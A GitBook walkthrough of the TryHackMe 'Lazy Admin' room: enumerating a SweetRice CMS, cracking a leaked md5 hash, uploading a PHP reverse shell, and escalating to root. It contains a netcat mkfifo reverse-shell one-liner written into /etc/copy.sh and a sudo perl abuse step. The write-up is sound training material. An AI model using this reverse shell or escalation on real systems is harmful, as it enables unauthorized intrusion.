Practice
  • 🛤️TryHackMe Rooms
    • HackersVsHackers
    • Vulnnet - The End Game
    • Surfer
    • Corridor
    • Mustacchio
    • Wordpress: CVE-2021-29447
    • Bounty Hacker
    • Simple CTF
    • Agent Sudo
    • Lazy Admin
    • Ignite
    • Brooklynn 99
    • c4ptur3th3fl4g
    • Lian_Yu
    • Rabbit
    • Gallery
    • Overpass
    • Team
    • Easy Peasy
    • CmesS
    • Ultratech
    • Wonderland
    • Anonymous
    • GamingServer
    • Tomghost
    • ConvertMyVideo
    • DogCat
    • Blog
    • Git Happens
    • 0day
    • Road
    • Inferno
    • Opacity
    • Market Place
    • Valley CTF
    • Weasel
    • SafeZone
    • Blueprint
    • Fusion Corp
    • Quotient
    • Unbaked Pie
    • Kenobi
    • Steel Mountain
    • Alfred
    • Hack Park
    • Game Zone
    • Daily Bugle
    • Retro
    • Corp
    • Attacktive Directory
    • Vulnnet - Roasted
    • Vulnnet - Active
    • Vulnnet - Internal
    • Enterprise - Hard
    • Iron Corp - Hard
    • Ra - Hard
    • For Business Reasons
  • 📦HackTheBox
    • Linux Boxes
      • Lame
      • Shocker
      • Nibbles
      • Beep
      • Cronos
      • Nineveh
      • Sense
      • Solidstate
      • Node
      • Valentine
      • Poison
      • Sunday
      • Irked
      • FriendZone
      • Networked
      • Jarvis
      • Tabby
      • Mirai
      • Popcorn
    • Windows Boxes
      • Active
      • Forest
      • ChatterBox
      • Resolute
      • Intelligence
  • 🤖CTF's
    • CloudSEK CTFs
    • ACM Cyber - UCLA
  • ¯\_(ツ)_/¯
    • Interview Topics
  • 🪣BOF - OSCP
    • Basics
    • Spiking
    • FUZZing
    • Finding the Offset
    • Overwriting the EIP
    • Finding BAD Characters
    • Finding RIGHT Module
    • Generating Shellcode
  • 📛Active Directory
    • Basics
      • Managing AD Users
      • Managing AD Computers
      • Group Policies
      • Authentication Methods
      • Trees, Forests and Trusts
    • Enumeration Techniques
    • Initial Attack Vectors
    • Post Compromise Enumeration
    • Post Compromise Attacks
      • Token Impersonation - LM
      • Kerberoasting
      • cPassword / GPP Attack
      • URL File Attacks
      • PrintNightmare
      • Golden Ticket Attacks
      • ZeroLogon Attacks
    • Lateral Movement and Pivoting
      • File Transfers
      • Spawning Processes Remotely
      • Moving Laterally with WMI
      • Alternate Authentication Material
      • Abusing User's Behaviour
      • Port Forwarding
      • Maintaing Access
      • Pivoting
      • Cleaning Up
    • Other Resources
  • 🛡️Powershell Basics
    • Getting Started
      • Functions
  • 😁Others
    • API Security
    • Cloud Security
  • Enumeration
    • Local PrivEsc
    • Remoting
    • Persistence
    • Kerberos
Powered by GitBook
On this page
  • Initial enumeration
  • Exploitation
  • Privilege Escalation
  1. TryHackMe Rooms

Lazy Admin

HTTP Enumeration - SweetRice CMS - Perl binary Abuse

Initial enumeration

  • Only two ports were open - 22 and 80

  • Enumerating port 80 gives us an endpoint /content - It automatically appends a slash in front of it, which means we'll have to enumerate even for more endpoints

  • Enumerating more gives us /content/as - a login page

  • Enumerating the /content/inc - leaks the sensitive information and the interesting one was the mysql_database_backup.sql

  • It was basically a text file which had few usernames and a md5 hash

  • Decrypting that md5 hash - Password123

Exploitation

  • Exploring SweetRice CMS gave us an upload functionality under theme section - which can be later accessed by the /_themes directory

  • Upload a php reverse shell and trigger it, using the themes endpoint - get a shell

Privilege Escalation

  • Executing the sudo lists command using sudo -l gave us

(ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl
  • So the above phrase means - that the perl binary is running as root and it is only allowed to exec the backup.pl file as a root user, so now how do we abuse it? in order to get a root shell?

  • Let's cat out the /home/itguy/backup.pl file

#!/usr/bin/perl
system("sh","/etc/copy.sh")
  • Why don't we just modify the /etc/copy.sh file into our reverse shell ?

$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f' > /etc/copy.sh
  • Grab the root.txt :)

PreviousAgent SudoNextIgnite

Last updated 2 years ago

🛤️